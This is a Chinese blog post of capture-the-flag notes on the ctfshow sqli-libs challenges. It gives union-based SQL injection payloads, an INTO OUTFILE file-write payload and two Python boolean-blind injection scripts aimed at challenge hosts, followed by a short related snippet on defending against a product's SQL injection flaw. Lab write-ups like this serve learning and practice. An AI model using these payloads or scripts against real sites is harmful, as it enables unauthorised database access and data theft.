ctfshow-sqli-libs笔记(web517-web539)

> 好久没做基础的sql注入题了,平台上发现sqli-libs,网课无聊打一下
发布后自动把我的单引号改成了中文格式,不知道为啥

web517

{字符型注入-联合查询}

id=1’ and 1=1–+ 正常回显
id=1’ and 1=2–+ 异常回显
id=0’ order by 3–+ 查询字段数为3
id=0’ union select 1,2,database()–+ 爆出当前数据库为security—真正flag在ctfshow数据库里…
id=0’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+ 爆出所有数据库
id=0’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘ctfshow’)–+爆表
id=0’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘ctfshow’ and table_name=‘flag’)–+ 爆出flag表中的所有列

id=0’ union select 1,2,(select group_concat(flag)) from ctfshow.flag–+ 爆出ctfshow数据库flag表flag列中的数据

web518

{数字型-联合查询}

id=1 and 1=1 正常回显
id=1 and 1=2 异常回显
id=0 union select 1,2,3 回显2和3 找到注入点
id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘ctfshow’) 爆出flagaa表
id=0 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘ctfshow’ and table_name=‘flagaa’) 爆出列为flagac
id=0 union select 1,2,(select group_concat(flagac)) from ctfshow.flagaa 爆出flagac中的数据

web519

{单引号与括号闭合}

id=1’) and 1=1–+ 回显正常
id=1’) and 1=2–+ 回显异常
同上操作 爆出表为flagaanec,列为flagaca
id=0’) union select 1,2,(select group_concat(flagaca)) from ctfshow.flagaanec–+ 爆出flagaca中数据
在这里插入图片描述

web520

{双引号与括号闭合}

id=1") and 1=1–+ 正常回显
id=1") and 1=2–+ 异常回显
同上操作爆出表为flagsf,列为flag23
id=0") union select 1,2,(select group_concat(flag23)) from ctfshow.flagsf–+ 爆出flag23数据
在这里插入图片描述

web521

{布尔盲注-脚本}

id=1’ and 1=1–+ 正常回显
id=1’ and 1=2–+ 异常回显
测试发现,正常回显图片如下,异常回显则没有You are in …

在这里插入图片描述

import requests

if __name__ == '__main__':
    url = 'http://d1e86be0-6e2a-42b1-9fc6-f2382b36311a.challenge.ctf.show:8080?id=1%27and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2
            payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{
     i},1))>{
     mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpuck"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(flag33) from ctfshow.flagpuck),{i},1))>{mid},1,0)%23'
            # print(payload)
            r = requests.get(url=url + payload)
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid


        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web522

{布尔盲注+脚本}

id=1" and 1=1–+ 正常回显
id=1" and 1=2–+ 异常回显

import requests

if __name__ == '__main__':
    url = 'http://96de8749-08e6-4e9c-b60a-c2e4b5c4cfa3.challenge.ctf.show:8080/?id=1%22and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2
            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpa"),{i},1))>{mid},1,0)%23'
            payload = f'if(ascii(substr((select group_concat(flag3a3) from ctfshow.flagpa),{
     i},1))>{
     mid},1,0)%23'
            # print(payload)
            r = requests.get(url=url + payload)
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid


        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web523

id=1’ )) and 1=1 --+ 正常显示–这里提示写文件outfile
id=1’ )) and 1=2 --+ 报错
在这里插入图片描述
id=1’)) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ctfshow’ into outfile “/var/www/html/1.txt”–+ 写入爆表1.txt并访问得到flagdk
在这里插入图片描述
id=1’)) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flagdk’ into outfile “/var/www/html/2.txt”–+ 爆列得到flag43

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
宏景 get_org_tree-sqli是一种SQL注入攻击。在宏景软件的get_org_tree函数中,存在着未经过滤或者验证的用户输入,导致攻击者可以通过构造恶意的SQL查询语句来对数据库进行未授权的访问和操作。 当应用程序没有正确地对用户输入进行过滤、转义或验证时,攻击者可以利用这个漏洞构造恶意的输入来执行SQL查询语句。攻击者可以注入SQL代码,修改数据库查询语句的逻辑,获取、删除或修改数据库中的数据,甚至完全控制数据库服务器。 为了防止宏景 get_org_tree-sqli攻击,开发人员应该始终遵循安全的编码实践。 1. 输入验证和过滤:应该对所有的用户输入进行验证和过滤,确保输入数据符合预期的格式和类型。可以使用合适的输入验证函数或正则表达式来实现。 2. 使用参数化查询或预处理语句:建议使用参数化查询或预处理语句来执行数据库查询操作,而不是直接拼接用户输入构成的查询语句。参数化查询可以防止SQL注入攻击。 3. 最小权限原则:数据库账户应该按照最小权限原则进行授权,避免给予不必要的权限。这样即使发生了SQL注入攻击,攻击者也只能执行有限的操作。 4. 错误信息处理:避免将详细的错误信息直接输出到用户界面上,这样可能会暴露敏感的数据库结构和错误详情,为攻击者提供攻击的线索。可以将错误信息记录在日志文件中,以便日后的安全审计和调查。 通过以上措施,开发人员可以提高应用程序的安全性,防止宏景 get_org_tree-sqli等SQL注入攻击对系统造成威胁。同时,定期对应用程序进行安全测试和漏洞扫描,及时修复和更新系统中发现的安全漏洞,保障系统安全运行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

{Yasso}

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值